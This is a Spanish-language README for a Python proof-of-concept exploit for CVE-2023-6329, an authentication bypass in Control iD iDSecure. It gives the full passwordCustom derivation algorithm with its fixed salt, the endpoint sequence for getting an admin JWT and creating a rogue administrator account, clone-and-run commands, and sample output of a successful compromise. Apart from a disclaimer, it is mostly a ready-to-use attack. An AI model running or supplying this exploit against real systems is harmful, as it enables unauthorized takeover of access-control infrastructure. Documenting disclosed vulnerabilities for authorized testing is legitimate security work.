
Exploit PoC en Python para la omisión de autenticación CVE-2023-6329 en Control iD iDSecure. Reconstruye credenciales de administrador mediante un algoritmo predecible de derivación de contraseñas para pruebas de seguridad autorizadas.
Un exploit de prueba de concepto en Python para CVE-2023-6329, una vulnerabilidad de control de acceso inadecuado en Control iD iDSecure versiones 4.7.43.0 y anteriores. La falla permite que un atacante remoto no autenticado reconstruya credenciales de inicio de sesión válidas explotando un algoritmo predecible de derivación de contraseñas que depende completamente de valores de acceso público: un número de serie del dispositivo, un nonce proporcionado por el servidor y un salt fijo. Una vez autenticado, el atacante puede crear un nuevo usuario administrativo en la interfaz web.
Convertido a Python a partir del módulo original de Metasploit de Michael Heinzl. La vulnerabilidad original fue descubierta y divulgada por Tenable.
Aviso legal: Esta herramienta se proporciona únicamente con fines educativos y para pruebas de seguridad autorizadas. El autor no se hace responsable del mal uso. Ejecútela únicamente contra sistemas que usted posea o para los que tenga permiso explícito por escrito para probar.
La rutina de inicio de sesión en iDS-Core.dll expone una ruta de autenticación alternativa a través del parámetro passwordCustom. El valor de este parámetro se deriva mediante un algoritmo predecible que toma el número de serie del dispositivo (obtenible públicamente sin autenticación) combinado con un nonce proporcionado por el llamante y un salt fijo (cid2016). Dado que cada componente del cálculo está controlado por el atacante o es libremente obtenible, cualquier atacante remoto puede calcular un valor passwordCustom válido e iniciar sesión como administrador.
Tras una autenticación exitosa a través de esta ruta, el servidor restablece la contraseña de la cuenta admin a admin, o crea dicha cuenta si aún no existe.
El exploit consta de cinco pasos:
1. Verificación de versión — El endpoint /api/util/configUI devuelve una respuesta 401 que contiene la versión del software, confirmando si el objetivo está ejecutando una compilación vulnerable.
2. Obtener datos de desbloqueo — Una solicitud GET a /api/login/unlockGetData devuelve el número serial del dispositivo y un nonce passwordRandom. Este endpoint no requiere autenticación.
3. Calcular passwordCustom — Se aplica el siguiente algoritmo para derivar la credencial de bypass:
sha1_hash = SHA1(serial)
combined = sha1_hash + passwordRandom + "cid2016"
sha256_hash = SHA256(combined)
passwordCustom = int(sha256_hash[0:6], 16) # first 6 hex chars → decimal
4. Autenticarse y obtener un JWT — Los valores passwordCustom y passwordRandom calculados se envían mediante POST a /api/login/, que devuelve un accessToken JWT válido con privilegios de administrador.
5. Crear un nuevo usuario administrador — El JWT se utiliza para hacer POST a /api/operator/ y registrar una nueva cuenta de operador con idType: 1 (rol de administrador).
requestsgit clone https://github.com/itzvenom/CVE-2023-6329.git
cd CVE-2023-6329
pip install requests
python3 exploit.py --host <TARGET_IP> [options]
Uso básico contra un objetivo en el puerto predeterminado:
python3 exploit.py --host 192.168.1.100
Especificar credenciales personalizadas para la nueva cuenta de administrador:
python3 exploit.py --host 192.168.1.100 --username ctfadmin --password S3cr3tPass!
Objetivo que se ejecuta en un puerto no estándar sin SSL:
python3 exploit.py --host 192.168.1.100 --port 8080 --no-ssl
[*] Target: https://192.168.1.100:30443
============================================================
[*] Target version: 4.7.32.0
[+] Target appears VULNERABLE.
[+] passwordRandom : 2948271034
[+] serial : ABC123XYZ
[*] Computed passwordCustom: 8301745
[+] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[+] User 'ctfadmin' created successfully.
[+] Verified! New credentials work.
[+] Login at: https://192.168.1.100:30443/#/login
Username : ctfadmin
Password : S3cr3tPass!
| Campo | Detalles |
|---|
| CVE ID | CVE-2023-6329 |
| Producto afectado | Control iD iDSecure |
| Versiones afectadas | ≤ 4.7.43.0 |
| Tipo de vulnerabilidad | Control de acceso inadecuado (CWE-284) |
| Vector de ataque | Red (sin autenticación) |
| Fecha de divulgación | 27 de noviembre de 2023 |
| Descubierta por | Tenable |
| Argumento | Predeterminado | Descripción |
|---|
--host | (obligatorio) | Dirección IP o nombre de host del objetivo |
--port | 30443 | Puerto del objetivo |
--username | pwned_admin | Nombre de usuario para la nueva cuenta de administrador |
--password | Pwned1234! | Contraseña para la nueva cuenta de administrador |
--no-ssl | False | Deshabilitar HTTPS (usar HTTP plano) |